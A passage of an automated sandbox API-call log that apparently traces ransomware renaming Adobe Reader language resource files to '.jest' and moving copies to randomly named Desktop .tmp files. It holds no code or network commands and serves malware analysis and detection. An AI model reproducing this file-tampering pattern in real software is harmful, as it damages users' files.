112 [0151.236] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牨䡟⹒硴⹴敪瑳") returned 0x70 [0151.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=113, lpWideCharStr=0x144bb04, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt.jest") returned 113 [0151.237] VarBstrFromR4 (in: fltIn=0x47945077, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.93") returned 0x0 [0151.237] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.237] CoFreeUnusedLibraries () [0151.237] GetTickCount () returned 0x1157945 [0151.237] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.237] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.237] GetTickCount () returned 0x1157945 [0151.238] IsWindowVisible (hWnd=0x30268) returned 0 [0151.238] Sleep (dwMilliseconds=0x0) [0151.238] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hr_HR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hr_hr.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LJOVQ4UPtTx-eDOEUx888LP_m4bEj3yx9REqavoSMOHSInGf6KDDzekp8kgJtrlnTvciSdGmZvOS-R K6X6Na86gU9RpFlym5 7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ljovq4upttx-edoeux888lp_m4bej3yx9reqavosmohsingf6kddzekp8kgjtrlntvcisdgmzvos-r k6x6na86gu9rpflym5 7.tmp")) returned 0 [0151.239] GetLastError () returned 0x2 [0151.239] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.239] CoFreeUnusedLibraries () [0151.239] GetTickCount () returned 0x1157945 [0151.239] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.239] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.239] GetTickCount () returned 0x1157945 [0151.239] IsWindowVisible (hWnd=0x30268) returned 0 [0151.239] Sleep (dwMilliseconds=0x0) [0151.240] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt.jest")) returned 1 [0151.241] GetLastError () returned 0x0 [0151.241] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣䕟⹓硴t") returned 0x6b [0151.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.241] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣䕟⹓硴t") returned 0x6b [0151.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x144bb04, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt") returned 108 [0151.241] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣䕟⹓硴⹴敪瑳") returned 0x70 [0151.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.242] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣䕟⹓硴⹴敪瑳") returned 0x70 [0151.242] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=113, lpWideCharStr=0x1467bd4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt.jest") returned 113 [0151.242] VarBstrFromR4 (in: fltIn=0x47945077, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.93") returned 0x0 [0151.242] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.242] CoFreeUnusedLibraries () [0151.242] GetTickCount () returned 0x1157945 [0151.242] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.242] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.242] GetTickCount () returned 0x1157945 [0151.243] IsWindowVisible (hWnd=0x30268) returned 0 [0151.243] Sleep (dwMilliseconds=0x0) [0151.243] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\btlYj7 CvZXM0YZZVklDYK9skSuOcBDU-0R11VR6ceX8oQcNO3v8rJmI45_CVBTEo8Vz9i3HLYcpSOnISYDRu3czb2kHYHNY2Ar.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\btlyj7 cvzxm0yzzvkldyk9sksuocbdu-0r11vr6cex8oqcno3v8rjmi45_cvbteo8vz9i3hlycpsonisydru3czb2khyhny2ar.tmp")) returned 0 [0151.243] GetLastError () returned 0x2 [0151.244] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.244] CoFreeUnusedLibraries () [0151.244] GetTickCount () returned 0x1157945 [0151.244] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.244] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.244] GetTickCount () returned 0x1157945 [0151.244] IsWindowVisible (hWnd=0x30268) returned 0 [0151.244] Sleep (dwMilliseconds=0x0) [0151.245] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt.jest")) returned 1 [0151.246] GetLastError () returned 0x0 [0151.246] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣琮瑸") returned 0x68 [0151.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.247] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣琮瑸") returned 0x68 [0151.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=105, lpWideCharStr=0x146c82c, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt") returned 105 [0151.247] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣琮瑸樮獥t") returned 0x6d [0151.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.247] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣琮瑸樮獥t") returned 0x6d [0151.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=110, lpWideCharStr=0x144ebf4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt.jest") returned 110 [0151.247] VarBstrFromR4 (in: fltIn=0x47945077, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.93") returned 0x0 [0151.248] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.248] CoFreeUnusedLibraries () [0151.248] GetTickCount () returned 0x1157945 [0151.248] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.248] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.248] GetTickCount () returned 0x1157945 [0151.248] IsWindowVisible (hWnd=0x30268) returned 0 [0151.248] Sleep (dwMilliseconds=0x0) [0151.249] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ctl0G0z4BDZr1tgie9SDEjq2Blzd c8pKbSzBuzNk -Lg0j oKEDejDPqZfqgucb 8z7gWskrmADH6TiAbnmnzym_iny45K4zs2un.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ctl0g0z4bdzr1tgie9sdejq2blzd c8pkbszbuznk -lg0j okedejdpqzfqgucb 8z7gwskrmadh6tiabnmnzym_iny45k4zs2un.tmp")) returned 0 [0151.249] GetLastError () returned 0x2 [0151.250] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.250] CoFreeUnusedLibraries () [0151.250] GetTickCount () returned 0x1157945 [0151.250] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.250] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.250] GetTickCount () returned 0x1157945 [0151.250] IsWindowVisible (hWnd=0x30268) returned 0 [0151.250] Sleep (dwMilliseconds=0x0) [0151.252] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt.jest")) returned 1 [0151.253] GetLastError () returned 0x0 [0151.253] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣䕟当剐䕅剕⹏硴t") returned 0x73 [0151.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=115, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0151.253] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣䕟当剐䕅剕⹏硴t") returned 0x73 [0151.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=116, lpWideCharStr=0x144eaec, cchWideChar=231 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt") returned 116 [0151.253] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣䕟当剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0151.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=120, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0151.253] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳慣䕟当剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0151.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=121, lpWideCharStr=0x144ddec, cchWideChar=241 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt.jest") returned 121 [0151.254] VarBstrFromR4 (in: fltIn=0x47945079, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.95") returned 0x0 [0151.254] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.254] CoFreeUnusedLibraries () [0151.254] GetTickCount () returned 0x1157955 [0151.254] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.254] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.254] GetTickCount () returned 0x1157955 [0151.255] IsWindowVisible (hWnd=0x30268) returned 0 [0151.255] Sleep (dwMilliseconds=0x0) [0151.256] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SZb49umN1vBOVvG-diwtJlox Cke AHisdxbkj -TAdBLihI9MbqRryVFFP-FgWqF vIsYG5EFmTzLvYl_t6Igu3jmV3qTezvQX0C.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\szb49umn1vbovvg-diwtjlox cke ahisdxbkj -tadblihi9mbqrryvffp-fgwqf visyg5efmtzlvyl_t6igu3jmv3qtezvqx0c.tmp")) returned 0 [0151.256] GetLastError () returned 0x2 [0151.256] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.256] CoFreeUnusedLibraries () [0151.257] GetTickCount () returned 0x1157955 [0151.257] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.257] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.257] GetTickCount () returned 0x1157955 [0151.257] IsWindowVisible (hWnd=0x30268) returned 0 [0151.257] Sleep (dwMilliseconds=0x0) [0151.258] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt.jest")) returned 1 [0151.259] GetLastError () returned 0x0 [0151.259] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳杢琮瑸") returned 0x68 [0151.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.259] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳杢琮瑸") returned 0x68 [0151.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=105, lpWideCharStr=0x144ddec, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt") returned 105 [0151.260] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳杢琮瑸樮獥t") returned 0x6d [0151.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.260] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳杢琮瑸樮獥t") returned 0x6d [0151.260] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=110, lpWideCharStr=0x144ebf4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt.jest") returned 110 [0151.260] VarBstrFromR4 (in: fltIn=0x47945079, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.95") returned 0x0 [0151.261] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.261] CoFreeUnusedLibraries () [0151.261] GetTickCount () returned 0x1157955 [0151.261] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.261] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.261] GetTickCount () returned 0x1157955 [0151.261] IsWindowVisible (hWnd=0x30268) returned 0 [0151.261] Sleep (dwMilliseconds=0x0) [0151.262] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BS3RFdU9y7ZkfaNudhFQwYfegqRCvUVVLrDMYZCVtM5by5F7B7tZ7qfRqa2roWcIT_kV f9CJXzyu68CHT9ABfBP7x_IyeiKI2X.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bs3rfdu9y7zkfanudhfqwyfegqrcvuvvlrdmyzcvtm5by5f7b7tz7qfrqa2rowcit_kv f9cjxzyu68cht9abfbp7x_iyeiki2x.tmp")) returned 0 [0151.262] GetLastError () returned 0x2 [0151.263] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.263] CoFreeUnusedLibraries () [0151.263] GetTickCount () returned 0x1157955 [0151.263] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.263] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.263] GetTickCount () returned 0x1157955 [0151.263] IsWindowVisible (hWnd=0x30268) returned 0 [0151.263] Sleep (dwMilliseconds=0x0) [0151.265] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt.jest")) returned 1 [0151.266] GetLastError () returned 0x0 [0151.266] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳杢䉟⹇硴t") returned 0x6b [0151.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.266] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳杢䉟⹇硴t") returned 0x6b [0151.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt") returned 108 [0151.266] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳杢䉟⹇硴⹴敪瑳") returned 0x70 [0151.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.266] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳杢䉟⹇硴⹴敪瑳") returned 0x70 [0151.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt.jest") returned 113 [0151.267] VarBstrFromR4 (in: fltIn=0x4794507b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.96") returned 0x0 [0151.267] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.267] CoFreeUnusedLibraries () [0151.267] GetTickCount () returned 0x1157965 [0151.267] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.267] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.267] GetTickCount () returned 0x1157965 [0151.267] IsWindowVisible (hWnd=0x30268) returned 0 [0151.267] Sleep (dwMilliseconds=0x0) [0151.269] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.bg_BG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.bg_bg.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mB_BycMUQu-JasFNVaVbn_ev6TdP-p7R 2BgfEKLDxNsvfF4Vm907GuWlfIBZLlgk8A76UiiWvHXNQ LsdZcgSltZZMyiyx_nIE_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mb_bycmuqu-jasfnvavbn_ev6tdp-p7r 2bgfekldxnsvff4vm907guwlfibzllgk8a76uiiwvhxnq lsdzcgsltzzmyiyx_nie_.tmp")) returned 0 [0151.269] GetLastError () returned 0x2 [0151.269] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 